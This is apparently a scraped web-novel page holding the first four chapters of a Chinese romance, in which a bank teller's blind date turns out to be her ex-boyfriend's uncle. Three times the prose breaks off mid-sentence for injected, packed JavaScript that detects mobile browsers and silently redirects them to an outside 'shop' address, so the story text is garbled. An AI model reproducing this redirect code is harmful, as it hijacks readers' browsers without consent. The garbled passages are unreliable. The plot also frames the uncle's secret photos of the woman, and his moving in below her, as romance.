《相亲对象是前男友小叔》 1. 第 1 章 二月末,榆阳市的气温陡然攀升,往年这时候还穿羽绒服呢,今年却只消一件薄外套就能出门。 于宥宁脱了工装大衣,冲着营业厅前台的保安师傅喊道:“老姨,关下空调吧,太热了!” 保安师傅姓“易”,五十出头,跟银行这帮孩子的爹妈岁数一边儿大,平时很照顾大家,他刚来的时候,大家还规规矩矩喊声“易哥”或者“易叔”,混熟之后,不知道谁起的头,给人家起了个“老姨”的外号。 老易关掉柜台里头的中央空调:“我就说你们得换西服了,这天气穿不了大衣了。” 临近下班,几个人全挤进主管的小办公室,几双眼睛齐刷刷望向主管,那眼神里的意思再明显不过:下周能不能换工装? 杨正扯松领带,关了电脑,慢悠悠开口:“优质文明服务的分不想要了?” “切~” 齐刷刷一片拖长了尾音的嘘声,软绵绵的,带着点撒娇的意味。 于宥宁所在的这家网点,柜台主管是位男士,整个榆阳市十五家网点就这么一位男主管,脾气好,不作妖,除了工作上的事,几乎不管她们,唯一的爱好是麻将,这不,周五了,又到麻将日,他踩着点儿关了电脑,起身就走。 “主管,衣服都不换了?”对公柜台的柜员陈娟调侃一句。 杨正已经窜出了营业厅,只留下一句:“关门设防报备。” “是~”又是齐刷刷一片笑声。 杨正手底下的娘子军们有说有笑地涌进更衣室。 于宥宁掏出粉饼,对着镜子补妆。 陈娟用手肘撞撞她:“补妆?晚上有约了?” 于宥宁点头,母亲大人安排的相亲,她本来是不想去的,可对方是爸爸的老领导介绍的,让她多少给点面子去见一面。 看她无奈地撇了撇嘴,陈娟猜到七八分:“这次又是谁的面子?让我们于大美人不得不去?” 被好友猜到,于宥宁盖上粉饼盒,挑了挑眉,示意她旁边还有其他同事。 正在换衣服的徐安回过头来:“要我说,你就不该说破你已经分手的事儿,以前大家还顾忌你有个男朋友,现在好了,领导、客户、还有那些后台的老大姐,一个个恨不得让你一天相一个。” 于宥宁有些不好意思地抿了抿唇:“也没有这么夸张……” 她长得好看,学历不错,工作也是个半体制内的银行,在本地还算体面,一入行,领导同事们就盯上了她,巴望着给她介绍对象,有真心盼她好的,有想介绍给自家亲戚的,也有纯拿她当人情介绍出去的。 陈娟跟她同一批入行,培训的时候住一间房,后来又分到同一家网点,比较谈得来,看她为难,便点点头:“安安说得对,实在不行,你把戒指再戴回去吧,少多少麻烦事儿。” 于宥宁垂眸看了看空荡荡的右手,想起那个已经断联、不、是分手的前男友,火气蹭地就上了头:“我相个比他更好的!” 换好衣服走出银行,天还亮着,她往公交站走,榆阳是个小城市,不像她念书的普华,没有地铁,但公交车晃晃悠悠地穿城而过,倒也便利,而且消费不高,又住家里,生活压力没那么大。 上了公交车,名为“全家桶”的家庭群弹出一条消息,是妈妈发来的:【宁宁,我刚碰上你白阿姨,他们家和林家认识,你白阿姨说,林家条件不错的,在榆阳也算是叫得上名号的人家,小伙子刚退伍回来,人长得端正,性格也好,你上点儿心啊。】 于宥宁:【知道了,已经在路上了。】 【行,吃完饭可以出去逛逛,十点前到家就行。】 【十点?夜生活才刚刚开始呢。】她故意逗妈妈。 妈妈只回过来一个扇巴掌的表情。 周五相亲,是她提出的要求,本来也是走过场,就不想耽误周末的休息时间,就当加个班儿。 因为是家里介绍的,两边连照片都没交换,周三才说起这事儿,周五就直接见面了。 她五点下班,约的六点在餐厅见面,下公交车才五点四十,时间刚好,来都来了,就当是跟陌生人拼顿饭吧。 她朝餐厅里头走。 听说这位男嘉宾是干工程的,她脑子里浮现出那些来银行办对公业务的“工程男”:清一色的深色夹克配西裤,头发用发胶抹得锃亮,皮带扣永远夸张地闪着logo,手里捏着串珠或者保温杯,说话时嗓门洪亮,喜欢拍着胸脯说“这点钱不算事儿”。 对方三十岁,于宥宁给自己做心理建设:那至少应该还没有啤酒肚吧?还挑了这么个有情调的餐厅,说不定被染指得还不严重。 “您好,请问几位?”服务员迎上来。 “订了六点的位置,姓林。” “是于小姐吗?这边请。” 于宥宁忍不住挑了挑眉,竟然晓得提前给服务员交代,很细心呢,她在心里盘算:相亲不成,说不定还能营销对方到他们银行开个账户,开门红的业绩压力实在太大了。 正想着,服务员已经带着她穿过前厅,往后头的花园走。 “于小姐这边请。” 榆阳她还是挺熟的,这家餐厅也来吃过,味道不错,就是不知道原来花园后头还有包房。 “你们花园里还有位置呢?上次来都不知道。” “花园的包房是留给老板招待朋友的。”服务员笑着解释。 包房的门是敞开的,里头没人,她看了眼时间,五点四十五。 “餐桌上的二维码可以扫码点餐。”服务员替她倒了杯水。 她掏出手机扫码,漫不经心地浏览菜单,窗外的天光正一寸一寸地暗下去,二月底的傍晚,落日走得急,刚才还亮着的天,这会儿已经蒙上一层灰蓝。 很快,门口传来脚步声。 她回眸。 一道高大的身影立在门口,几乎遮挡了门外大半的光源,她最先看到的是一双棕色薄底皮鞋,擦得锃亮,她在心里暗自点头:嗯,审美还行。 视线继续上移,黑色西裤,裤线笔直,垂坠也好,衬得那双腿又直又长,再往上,是同色的西服外套,她想起单位的工装,可眼前这件明显不一样,不是那种呆板的制式西装,而是剪裁考究、版型挺括的那一种,肩线服帖,收腰自然,布料看上去也有质感。不过……也可能是人家身材好,把衣服撑出了样子,宽肩窄腰,整个人往那儿一站,像衣架子似的,偏偏又不显得单薄,这样的工程男,少见。 “抱歉,来晚了。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525879|203495||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 声音从门口传来,低沉,清冽,意外地好听。 她站起身,终于看清他的脸。 原本准备好的、礼貌得体的笑容,顿时僵在了脸上。 这张脸,和她那个失联了大半年的前男友林屿,有七成像。 一样的寸头,干净利落,露出饱满的额头和好看的颅骨线条,一样的小脸,骨相分明,下颌线收得干脆,鼻梁高挺,眉骨饱满,眼窝微微凹陷,投下淡淡的阴影。 尤其那张唇,上薄下丰,唇峰清晰,有一种浑然天然的……性感。 乍一看,她还以为是林屿站在了面前。 可再看一眼,又不一样。 眼前这个男人的眼神,比林屿锐利得多,不是那种咄咄逼人的,而是沉稳如静海的。那目光落在她身上,像是在打量,又像是在确认什么,带着一种让人不太自在的穿透力。 男人走到她对面,解开西服扣子,从容落座。 看她还站着,微微颔首:“林小姐请坐。” 她回过神,浅浅吸了口气,拉开凳子坐下。 林骁看着她,没解释,没寒暄,只是说: “我叫林骁。” “林屿的小叔。” “你们的事,我听说了。” 他顿了顿,语气淡得像在聊天气: “分了,是吧?” 她从震惊中回过神来,张了张嘴,复又闭上,实在不知道该说什么。 服务员进来给林骁倒了杯水,询问是否需要点餐,林骁罢罢手,对方就退出去了。 “这事儿是小屿做的不对,我代他向你道歉。” 于宥宁抬眼,代林屿道歉?那他今天是来? 林骁解释道:“相亲是家里安排的,没想到,这么巧。” 她扯出一个尴尬的笑:“我也,我也不知道是你。” 林骁抬手招呼服务员:“来都来了,那就吃顿饭再走吧,否则也不好跟家里交代。” 他把菜单递给她:“看看喜欢吃什么。” 她罢罢手:“你点吧,我都行。” 林骁点头,熟练的报出几道菜名,于宥宁听着,倒意外的都很符合她的口味。 她已经没心思吃饭了,可就这么走了,回去的确不好交代,等服务员离开包厢,她才继续:“我爸妈,可能也不知道你是谁。” “明白。”林骁点头,神色如常:“你回去就说不合适,其他的我来解决。” 看他这么爽快,于宥宁暗暗松了口气。 菜陆续上桌,大概是看出了她的尴尬,林骁没再多问什么,为了不让场面冷下来,他主动提了几句自己的情况:去年年底退役的,回来接手了家里的生意;让她不用介意他的身份,就当交个朋友,过去的事情就过去了;最后这句,他说得尤其淡,像翻篇一样自然。 林骁话不多,但礼貌、绅士,说话张弛有度,一顿饭下来,竟也没让她觉得太难熬。饭后他主动买了单,陪她走到餐厅门口,目送她上了车才转身离开。 于宥宁透过车窗,看着他渐渐远去的背影,整个人往座椅里一靠,终于卸下了那副端了一晚上的僵硬姿态。 榆阳还是太小了。 这种事都能让自己碰上。 2. 第 2 章 那场相亲之后,于宥宁回家只说了句“不合适”,便钻进房间再没出来。 谢芳窝在沙发里,手机屏幕上是林骁的照片,她翻来覆去看了不下二十遍,越看越费解:“这还不合适?我下午特意去了趟老白家,人家跟我讲,林家那公司在榆阳那是数一数二的,家里老大还是大学老师,老二,就是这个小伙子,才退伍回来,人品没得说,这都没看上?” 于成军觑起眼睛凑过去看了眼照片:“哪儿来的?” “你别管。”谢芳把照片放大,递到他眼前:“你瞧瞧,这么端正一小伙子。” 于成军拧着眉,从男人的眼光看,确实够帅,当过兵的人,身板挺括,气质也正,照片里就那么站着,愣是站出一种不怒自威的架势。 不过嘛,他女儿也没得挑啊,要长相有长相,要工作有工作,要学历有学历:“你这……你这不是以貌取人嘛,”他试图替女儿找补,词儿却跟得不大利索:“保不齐他……他……他那个……哎,宁宁还小,还能再挑一挑。” “我也不是着急,”谢芳把手机收回来,又看了一眼屏幕,语气里带着点不甘心:“榆阳就这么大点儿地方,这么优秀的小伙子,错过了可就难再遇着了。” 电视开着,可俩人谁也没看进去,你一言我一语地商量着怎么回复于爸的老领导,话要怎么说才不得罪人,毕竟是人家牵的线,小伙子条件也确实摆在那儿,一句“不合适”轻飘飘的,总得给个过得去的说法。 还没等他们斟酌好措辞,于成军的手机倒先响了。 他看了眼来电显示,冲谢芳比了个口型:老领导。 于宥宁从房间出来倒水,脚步一顿。 电话接通,于成军客气的问候:“老领导,这么晚了还没休息呢?” 那边不知说了什么,于爸的神情渐渐松弛下来:“哎呀,这……小林这孩子太客气了……是是是,我们家宁宁回来也说了,男孩子人很好,就是缘分这事儿……对对对,您说得对,当朋友处着也挺好……” 于宥宁握着水杯,耳朵竖了起来。 “行行行,改天请您喝酒……” 挂了电话,谢芳已经凑过去:“怎么说?老领导没生气吧?” 于爸往沙发上一靠:“生气?人家是专门打电话来解释的。” “解释?” “林骁那孩子主动给老领导回的话,”于爸说着,语气里不自觉带了点欣赏:“说今天见面聊得很愉快,我们家宁宁大方得体,也聊得来,只是他刚退役回来,公司的事情千头万绪,怕分不出心耽误宁宁,让老领导别多想,不是女方的问题,是他自己的原因。” 谢芳愣了愣:“这孩子……倒挺会说话。” 于宥宁站在厨房,听着听着,就想起了林骁那双眼睛:平静,锐利,像什么都看透了,却什么都不说破。 她低头抿了口水,回了房间。 星期天,几个高中同学约着打了场麻将,一下午混战,输赢倒是小事,闹闹哄哄的也挺开心,晚上本来要去吃饭,但她来例假了,小腹隐隐坠着疼,想着明天还要上班,就决定回家休息。 同学顺路把她送到小区门口,本来说要开进去,结果大门外堵了辆搬家公司的货车,她们这个小区是二十来年的老小区了,没有地下停车场,路本来就窄,但凡进一辆这种货车,立刻堵得严严实实。 她摆摆手说就在这儿下,同学也没坚持,道了别掉头走了。 于宥宁绕过货车往小区里走,暮色四合,路灯还没完全亮起来,只有零星几盏昏黄的光,走到单元楼下,正巧碰上搬家公司的师傅们扛着行李往楼上走。 楼梯窄,她侧身让师傅们先过。 刚上到二楼转角,身后传来脚步声,沉实、稳当,不快不慢地跟着。 她又往边上让了让,余光扫过去,先看见的是一双皮鞋:棕色薄底,擦得锃亮。 她愣了一下,视线往上移,是一套灰色西服,男人肩膀上扛着一个硕大的行李袋,身形却依旧挺拔,丝毫不显吃力。 她停下步子,眨眨眼。 心口忽然紧了一下。 林骁也看见了她,扬了扬下巴:“你住这儿?” 于宥宁张了张嘴,一时竟不知道该怎么接话。 “你这是……”她看了眼他肩上的行李袋:“……搬家?” “刚租的房子。”他脚步不停,与她错身而过时顿了顿:“4楼。” “租……房子?” 楼下又有脚步声传来,搬家师傅们扛着东西上来了,林骁颠了颠肩膀上的袋子,没再多解释,只说了句“走了”,便迈开步子继续往上走。 于宥宁站在楼梯转角,看着那道灰色的背影消失在视线里。 4楼,她家住5楼。 她慢慢往上走,路过402的时候,下意识朝里头瞥了一眼,门半敞着,里头亮着灯,隐约能看见堆在地上的纸箱和行李。 402……这家什么时候搬走的? 回到家,谢芳已经做好了晚饭,于宥宁换了鞋坐下,脑子里却还转着楼梯间那一幕。 “妈,”她夹了筷子菜:“楼下李叔叔家的房子,我记得是租给了一家四口哈?你还说她家小孩乖来着。” “是啊,怎么了?” “我刚回来,看到搬家的,好像换租客了。” “哦对,小两口的新房装修好了,正好趁着新年就搬了,怎么,你碰上新租客了?” “嗯。”于宥宁应了一声:“在楼梯上碰见的。” “哦?什么人啊?” “就……一个男的。”她含混过去,低头扒饭。 谢芳也没多问,顺手给她夹了块排骨:“看你脸色白的,肚子疼还不消停,下午战绩如何?” “嘿嘿~” 看她含混一笑,谢芳就知道,又输了。 于宥宁点点头,把那块排骨送进嘴里,却有些食不知味,她和林屿谈了三年,前两年在学校,后来她回榆阳工作,他参军入伍。 林屿家的条件她多少知道一些,再加上周五那场相亲,妈妈也跟她说了林骁家的情况,这样的家庭,用的着出来租房子?还是租这样一个二十来年的老小区? 这不合理吧? 402的搬家一直进行到深夜,东西陆续归置好,林骁冲了澡,躺到床上。 他没有住主卧,次卧的天花板已经有些泛黄,顶灯也昏暗,可只隔着一层楼板,就是她的房间。 她在上,他在下。 他打开手机,从相册里翻出一张照片,是六年前拍的,那天阳光灿烂,微风正好。 在此之前,他和她一共只有过两面之缘,第一次是六年前,第二次是四年前。 四年前: 临近暑假,终于轮到林骁休探亲假,他已经三年没回过家了。爸妈、大哥大嫂齐齐到机场接他,回了家又是一桌子好菜,又是嘘寒问暖。 酒过三巡,父亲林庆成又一次提起家里生意没人接班的话题。 大哥林秉川同他对视一眼,放下酒杯:“爸,骁子是军官,他自己又喜欢部队,留在队里一样前途无量。” 林庆成人生大起大落过两回,创业艰难,能攒下现在的家业很不容易,现在年纪大了,就盼着能有自家人接手,可偏偏两个儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525880|203495||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子,一个醉心学术,一个扎进了军营,全都对他的生意没兴趣。 林骁打圆场:“爸,我们俩指望不上,不是还有林屿嘛,那小子机灵,您好好培养。” “小屿毕竟还小,你看看你爸这头发,和你妈站一块儿,都不像一辈人了,再等小屿,你要累死你老子!” 林骁朝母亲李云投去求救的目光,他是李云四十二岁冒着高龄产妇的危险生下来的,和大哥林秉川差了十八岁。 然而,这次李云却没帮他:“骁子啊,你爸明年可就七十了,你还让他干几年?” 当初入伍就说好了只是去锻炼几年,没成想,他这一去,就像是鱼入了海,扑腾着扑腾着,还进了特种部队,当然,这些都是保密的,家里没人知道,如果可以,他是打算一辈子投身军旅的。 他只能打哈哈:“听说小屿谈恋爱了?爸,您多保重身体,少出去应酬,指不定哪天就当曾祖了,我也能落个叔公当当。” 林骁的大嫂沈含秋见过儿子的女朋友:“嗯,小姑娘可漂亮了,要是能跟小屿结婚,那将来孩子不知道得多好看。” 林秉川:“你见过?” “你儿子跟我可是无话不谈的好友。” 难得休假,林骁在家结结实实睡了两天,他高中是在榆阳念的,跟同学们聚了聚,一直到暑假前夕,才开了车去隔壁市接林屿回家。 车子停到校门口,他沿着林荫道往里走,拦住一个学生:“同学,请问宿舍楼往哪边走?” 被问到的学生给他指了方向,他拐过弯,一抹阳光漏过树叶的缝隙,洒落在女孩儿身上。 鹅黄色的连衣裙,裙摆刚好到小腿,她站在树荫下,像是在等谁,一张小脸儿白里透红,像玉一样温润,一双杏眼水润含情,眉峰柔和,眼尾微微上挑,眼波流转间自有一股说不清的韵味,再往下,鼻梁挺秀,唇形饱满,下唇比上唇略厚一些,抿起来的时候有点倔,笑起来的时候又全是天真。 她就那么随意地站着,阳光落在她身上,像是终于找到了该去的地方。 林骁怔住了。 他想了两年的人,竟然会在这里偶遇。 思绪被拉回两年前,他跟随中队到震中执行救援任务,秩序恢复后,外界的救援才陆续放进来,后勤送餐的队伍里有个小姑娘,生得白白净净,给他们打饭的时候总会多舀一些,后来听说是她爸爸的单位对口扶贫这个村,她刚高中毕业,就跟着爸爸一起来了。 他们只相处了短短三天,每天里唯一的接触,就是打饭那短短的几秒钟,可林骁的视线就是忍不住追寻她的身影。 离开前,他悄悄拍下了她的照片。 后来的很多个夜里,他都会把那张照片翻出来看,有时候是在熄灯之后,有时候是执行任务回来,手机屏幕的光照在脸上,他就那么盯着,一遍一遍,像在确认什么。 看着看着,他会突然扇自己一耳光,她那时候才多大?十八?十九? “啪”的一声,他心里暗骂:你他妈想什么呢。 耳光很响,战友翻个身,嘟囔一句什么,又睡过去。 他躺在黑暗里,盯着天花板,手指还在屏幕上摩挲。 所以再见到,林骁一眼就认出了她。 他捏紧了拳头,极力克制着自己的情绪,这是命中注定,他们的缘分开始于那年的废墟之上,又在这里重逢。 他抬脚走向她,带着自己都说不清的期待。 可还不等他走近,一个和他有七分像的身影就搂住了女孩儿的肩膀:“小叔!这是我女朋友!” 于宥宁冲他笑了笑,跟着林屿喊他:“小叔好。” 3. 第 3 章 “小叔好。” 她叫自己小叔! 林骁一双眼睛直直地盯着她,瞳孔微微收缩,像是被什么尖锐的东西刺了一下。 小姑娘礼貌的冲他点头,眼睛里干干净净,没有任何多余的情绪。 不知道是失落更多,还是从心底涌上来的酸涩更多。 他心心念念的姑娘,竟然成了自己侄子的女朋友! 心脏像被人攥住,狠狠捏了一把。 林骁垂在身侧的手指微微蜷缩,指甲几乎要掐进掌心,他面上不动声色,眼底却有什么东西在翻涌:震惊、不甘、还有一丝连他自己都不愿承认的:嫉妒! 就在他喉结滚动、强迫自己压下那股情绪的当口,林屿伸手在他眼前晃了晃:“林骁!林骁!” 林骁回过神来,移开视线,他怕自己再多看一眼,就会露出什么不该有的表情。 一辆SUV停到路口,车上的人按了下喇叭:“宁宁~” 于宥宁冲着车上的人招手,眼睛弯成两道月牙:“我爸爸妈妈来接我了,我先走了啊,回榆阳再见。” 林屿拉着她的手,不肯放人,笑嘻嘻地凑过去:“你不带我去见见叔叔阿姨呀?” “不行啦,我爸爸会不高兴的。”于宥宁小声嘟囔,脸颊微微泛红。 “哎呀,丑女婿总要见岳父的,我就过去打声招呼。”林屿死皮赖脸地晃了晃她的手。 “不行不行,不然以后我晚上出去玩,他们都会怀疑我是跟你在一起,又要给我下门禁时间了。”她抽回手,转身时礼貌地冲着林骁点了点头:“小叔再见!” 林骁点了点头,没说话。 他站在原地,看着于宥宁小跑着奔向那辆SUV,裙摆轻轻摆动,她拉开车门,钻进后座,隔着车窗还能看见她笑着冲这边挥手。 林骁的目光追着那扇关上的车门,喉咙发紧。 目送他们一家三口离开,林屿才把行李箱放进了后备箱,拍了拍手,语气里满是炫耀:“哥,我女朋友漂亮吧!”林骁虽然辈分上算小叔,但只比他大六岁,两个人从小玩到大,就跟亲兄弟一样,以前在学校他就总管林骁喊哥。 见林骁木着一张脸,一言不发,林屿终于察觉到不对劲,小心翼翼地凑过去:“哥?” 林骁勉强扯了下嘴角,那弧度比哭还难看。 他一脚油门干出二里地,林屿被惯性晃得往前一栽,骂骂咧咧地去拉安全带,而林骁只是死死握着方向盘,车窗外的风景飞速倒退,像是要把什么甩在身后,又像是要追上一个永远追不上的背影。 那天晚上,林骁把自己关进房间,在阳台上抽了大半包烟。 手机屏幕的微光刺得眼眶发涩,屏幕里是十八岁的于宥宁:一身运动服,头上戴着顶厨师帽,手里举着个大铁勺,他举起手机时,她恰好抬眸,愣了一下,随即弯起眼睛冲他笑了笑,乖巧又可爱。 没想到,她竟然成了自己侄子的女朋友,这世上怎么就有这么巧的事! 回来的路上,他状似随意地问了两句,林屿倒是知无不言,说是进了大学才认识的她,追了整整两年,临近期末,于宥宁才终于点了头。 两年。 林骁把烟摁灭在易拉罐上,“滋啦”一声,喉咙里滚出一声冷笑。 算起来,还是自己先认识的她,早到她还不认识林屿,早到她还会冲着自己那样笑。 只可惜。 他把这三个字在齿间碾了又碾,碾出一股苦涩的铁锈味,阴差阳错,天意弄人! 他不甘心,可又能怎么样? 把她抢回来吗? 她甚至不知道自己是谁,她叫他“小叔”! 烟一根接一根地燃,易拉罐被烫出一个又一个焦黑的洞,月色高悬时,他收拾好了行李,隔天一早就回了队里。 走之前他想,只要她能高兴,只要林屿能对她好。 —————————————————————————— 窗外传来几声狗吠,将林骁从回忆中拉回,他眉峰微蹙,也不知道是哪家人这么没有公德心,大半夜遛狗,吵着她休息。 他枕着右手,盯着天花板,指间空落落的,忽然就很想抽根烟。 林屿,既然你不珍惜,那就别怪我后来者居上! 周一,早上七点十五分,于宥宁准时出现在小区外头新开的包子铺,这家包子铺的老板是北方人,面发的好,馅儿调的也不错。 于宥宁从保温桶里拎出一杯豆浆:“老板,三个小笼包,竹笋、芽菜、红豆,再加一颗卤蛋。” 老板应声:“好,早上冷,坐里头吧,” 她拢了拢衣领,坐到铺子里的矮凳上。 这个时间点人还不多,正包包子的阿姨问她:“姑娘,你是不是老师?” 于宥宁咬下一口热乎乎的包子,腮帮子鼓鼓的:“不是呀,阿姨怎么这么问?” “我儿子猜的。”阿姨说着朝外头瞥了一眼:“这包子铺是我和我儿子开的,他说你每天早上都是这个时间来,肯定是上班时间早,多半是老师。” “听着倒是有道理,只可惜我不是诶。”她抽出一张纸巾擦擦卤蛋,开始剥壳。 “那你是做什么职业的?我看你穿的也正式。”阿姨这是帮自己儿子问的。 不等他回答,铺子外头就响起一道晴朗的男声:“一屉包子,两个水煮蛋,一碗稀饭。” 她闻声抬眸,是林骁。 短短三天,相亲,搬家,早餐店偶遇,太过巧合,她甚至怀疑是不是自己没有睡醒,眼前的人不是林骁,而是林屿。 不过视线相触的瞬间,她就打消了这个念头,五官再像,眼神却不一样。林屿看她时眼里带着笑,像只摇尾巴的大金毛;而眼前这个人…… 林骁眼神一扫,巴掌大的店面,只摆得下这一张桌子,他拢了拢衣领,在她对面坐下:“早。” 于宥宁嚼着茶叶蛋,点了点头,眼神却很清明。 第一次见面是相亲局,他说是家里安排的,她想那就走个过场,没往心里去。 第二次见面是搬家,他说他租下了402,她当时还觉得挺巧,但也没多心。 今天是第三次。 三天,三次。 她在银行工作,数字敏感,对概率更敏感,这个偶遇频率,已经超出了正常范围。 除非,她抬眸看了他一眼。 他正低头剥蛋,手指修长,动作不紧不慢,像是真来吃顿早饭的。 除非他是故意的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525881|203495||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 难道是林屿让他来的?可为什么?林屿人又在哪里? “姑娘,姑娘?”没有得到答案,阿姨又追问了一遍:“你是做什么工作的呀?” 她这才回过神来:“哦,我在银行工作。” “银行呀,这工作好,稳定。”阿姨笑着罢了罢手,朝外头看了一眼,自己儿子正忙着装早点,不然真该喊他也来聊两句,加个联系方式。 于宥宁礼貌的笑笑。 买早餐的客人越来越多,阿姨蒸包子去了,没再继续追问,反倒是林骁顺着话茬问了下去:“哪家银行?” 她吸一口豆浆:“榆阳商行。” “兴业商厦那家?” “嗯?”她没回答,眼神里多了几分审视。 “兴业商厦那家离这儿最近。”林骁语气随意,像只是随口一问。 “哦,不是,我在南湖那家网点。” “是嘛,”他抬眸:“正好,我要去南湖看项目,顺道送你吧。” 于宥宁觉得手里的包子顿时就不香了。 她抬眼看他,目光直白,带着点儿探究,还有一丝丝“你别以为我看不出来”的意味。 林骁面色如常,一口一个包子,吃得从容不迫,一转眼,一屉包子就见了底,胃口好得不像话。 “呃……”她把豆浆放下,斟酌了一下措辞:“咱们三天见了三次,好像有一点太巧了吧。” “有吗?”林骁反问。 “有。”她点头。 林骁没说话,继续吃鸡蛋。 她看着他,忽然觉得这人有点儿难缠,你问他,他不躲,也不慌,就那么不咸不淡地应着,反倒显得你小题大做。 算了,直接问吧。 “如果,如果你是因为林屿才……”她顿了顿,在想怎么措辞才不显得那么自恋:“才出现在这儿的话,那我觉得没必要,如果是其他原因……” 她还没想好“其他原因”该怎么往下接,林骁却轻笑一声,打断了她。 “你误会了。” 他擦了擦手,动作不紧不慢,像是早就知道会有这一问。 “不过的确是太巧了,你心里害怕也正常,能够理解。” “也不是害怕。”她下意识反驳。 “磐石营造,我父亲的公司,总部就在兴业商厦,和小区一街之隔,我父母去年搬去了江映溪谷,距离这儿三十公里,通勤时间太长,402的李叔也搬到了江映溪谷,和我父母是朋友,就把这儿给我住了。” “我们的相遇,不是因为林屿。”他想说的是:他比林屿更早认识你,他现在回来,只是纠正当时的错误。 林骁顿了顿,嘴角微微扬起,带着点儿似笑非笑的意味:“还有什么想问的?” 于宥宁:“……” 她张了张嘴,没说出话来。 林骁这么一解释,倒确实显得她想太多,甚至,有那么一点点自恋了。 “没、没有了。”她低头咬了口包子,耳朵尖微微发烫。 林骁“嗯”了一声,起身付钱:“要我送你吗?” 她赶紧摇头,觉得脸颊都有些发烫:“不麻烦了。” “那我先走了,” “再见。” “再见。” 4. 第 4 章 公交车一站一停,摇摇晃晃,于宥宁把额头抵在冰凉的玻璃上,脑子里不住的浮现林骁那个若有似无的笑。 太尴尬了!!! 她和林屿恋爱的事,双方家里应该都是知道的,但因为从没去过对方家里,所以对不上名字和身份,相亲那事儿应该真是个乌龙,否则任谁家都不会去撮合这种差了辈分的荒唐事吧。 至于搬到402,人家公司就在街对面,住这儿,也正常。 是她想太多,哎,太尴尬了,都怪林屿。 这个念头冒出来的瞬间,她愣了一下,随即垂下眼,嘴角扯出一个自嘲的弧度。 都分手大半年了,还能怪到他头上。 可如果不是他不声不响地消失,她又怎么会对林家的人这么敏感? 她打开微信,在搜索框输入林屿的名字,弹出的联系人没有他,只有和好友的聊天记录里,还零星躺着几行带着他名字的对话。 “你那个林屿还没回你消息啊?” “算了算了,男人而已,下一个更乖。” “真分手了?不是,他怎么能说消失就消失啊?” 她没往下翻。 即便已经过去大半年,可只要想起,鼻头还是有些发酸。 她和林屿是在大学认识的,她学金融,他学计算机,军训那天,两个班级的方阵迎面相撞,她站在第三排第一个,他站在第四排第一个,两个人就这样擦肩而过,目光在错身的瞬间撞在一起。 于宥宁记得自己当时愣了一下,那张脸,让她觉得莫名熟悉,脑袋里忽然想起暑假里跟着爸爸去地震灾区帮忙时遇到的那名军人,他一直戴着口罩,只有离开那天摘下过,她不记得他的样子了,可看到林屿的时候,心里却涌起一阵奇怪的熟悉感。 那之后,林屿开始追求她,一追就是两年。 她不是没有动心,图书馆里他帮她占的座,食堂里他明目张胆的塞给她酸奶,操场上他假装偶遇跑过来打招呼,她全都看在眼里,只是一直没点头。 一来是觉得自己年龄还小,学业为重;二来家里传统,爸爸妈妈总说她还是个孩子,谈恋爱不急。 她以为日子会这样不紧不慢地过下去,等毕业后,等工作稳定,等一切都准备好了,再认认真真开始一段感情。 可林屿等不了,追求持续而热烈! 大二下学期暑假前夕,学校组织献血,她排了半天的队,轮到的时候却被通知血库满了,她站在太阳底下晒得头晕,一转头,看见林屿撸着袖子从献血车上下来,脸色有点白,额角还挂着汗。 他看见她,愣了一下,然后跑过来,手里举着一瓶刚领的牛奶,塞给她:“你脸色不太好,喝点甜的。” 她低头看着那瓶牛奶,又抬头看他。 他晒黑了,瘦了,眼睛却亮亮的。 “林屿,”她听见自己说:“你追了我两年,累不累?” 他挠了挠头,笑得有点傻:“累啊。” “那你怎么还追?” “因为……”他顿了顿,忽然认真起来:“因为我怕一停下来,就追不上了。” 那天下午,她点了头,他们成为了彼此的初恋。 就像所有校园里的小情侣一样,他们一起度过了甜蜜的校园时光:一起泡图书馆,他学他的编程,她做她的会计分录;一起去食堂,他把自己碗里的肉夹给她,她又偷偷夹回去;一起在操场上散步,一圈又一圈,聊些有的没的,聊到宿舍快关门才舍得往回跑。 她以为日子会这样一直甜下去,可大学毕业前夕,他毅然参军入伍。 她支持他,人生不是只有儿女情长,总得去做自己想做的事。 “你去吧,”她说:“去做你想做的事。” 他握着她的手,握得很紧:“等我回来。” 可他们都没有料到,这份感情会因为距离,一点一点地变淡。 林屿入伍的头半年,两个人还能趁着周末他拿回手机说说话,虽然时间短,信号差,但能听见他的声音,她就满足了。 后来渐渐的,她就联系不上他了。 十条信息回一条,十个电话回一个,问起来,林屿也是支支吾吾:训练忙,信号不好,班长在,不方便。 她告诉自己,要理解。 可理解归理解,难过归难过。 那些等不到的回复,那些打不通的电话,那些说了一半就匆匆挂断的通话,它们像细小的沙子,一粒一粒地落下来,起初没什么感觉,等回过神来,心里已经沉甸甸地压了一层。 